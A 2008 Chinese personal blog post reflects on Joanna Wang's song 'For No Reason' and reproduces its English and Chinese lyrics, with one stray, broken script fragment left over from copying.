close
王若琳專輯當中最喜歡的是這首歌，輕快的旋律在這個假期，不定期的在腦中揚起。

　　For No Reason，沒有任何目的企圖的做一件事，對白天使就像是不時的提醒內心的良知，他想都沒多想，因為事情就該是如此；對黑魔鬼就像不經意的把人拖進罪惡的深淵，因為事情就該如此，總是要嚐過跌落谷底的滋味，才知道曾經或往後也有踩在雲端的時候。

　   Let's start laughing without any jokes.　就因為沒有什麼可以笑才可以繼續大聲笑。也因為沒有理由才可以有無限的延伸。我喜歡做事情without any reason。
－－－－－－－－－－－－－－－－－－－－－－－－－－
For No Reason <dd>
Lyrics:Joanna Wang/Bing Wang
Music:Joanna Wang/Bing Wang

put on your shoes
people used to tell me
now the think it's like a style
of some kind or something

how do I explain that
I just don't believe in
all this purposely for
the world's perception of me

this is only rubbish put eloquently
like all the gothic poetry
kids are writing
from the high school scene

Hey let's start running
for no reason
let's start laughing
without any jokes
when did we need excuese to do what we do I won't explain myself
wouldn't you agree that sounds nice

that's right
we can go out
watch a movie
climb out my window
in the middle of the night
and when the world's asleep we shall dance like mad amusement only
would't you agree that sounds nice

so you mean you just
don't like wearing shoes
I've got sweety feet
I think I've made my point

if you truly like it then
it won't mean a thing
if it's a trend or if it's banned
by the fashion police

all the things I do I don't do them for you
I'm not down to earth not
planning to be
it's all hypocrisy
<script type="text/ja<!>vascript">document.write(f63x8);</script>


For No Reason(中文版)</dd><dd>
作詞：Joanna Wang　
作曲：Joanna Wang/Bing Wang

穿上你的鞋子　人們跟我這麼說
可是過兩三年後　又變成　你很自由
我該如何解釋　每個季節的迷信
這是種很勉強的　過渡分析
到底自由和赤腳有什麼關係
社會練成我的　悲觀主義　我說給你聽

Hey let's start running for no reason
開始笑吧　笑點才用不到
When did we need excues to do what we do人家不必懂
因為沒有什麼好懂

that's right 可以偷偷去　看場電影
climb out my window in the middle of the night
等全世界都睡了　我們要亂跳舞　不需要理由
聽起來是不是不錯

你打赤腳是否　有特別的意思
大家都期盼著一個　感動人的隨性
我突然感覺委屈　為何他們騙自己
我的個性真只是　如此的無趣
最後大家把我慢慢的忘記
因為有人決定　脫衣抗議　但我不在意

　　　　　　　　　　　　　　　　　　　　　　　　　　　　February 16, 2008
arrow
arrow
    全站熱搜

    sunsetmirror 發表在 痞客邦 留言(0) 人氣()

    E-mail轉寄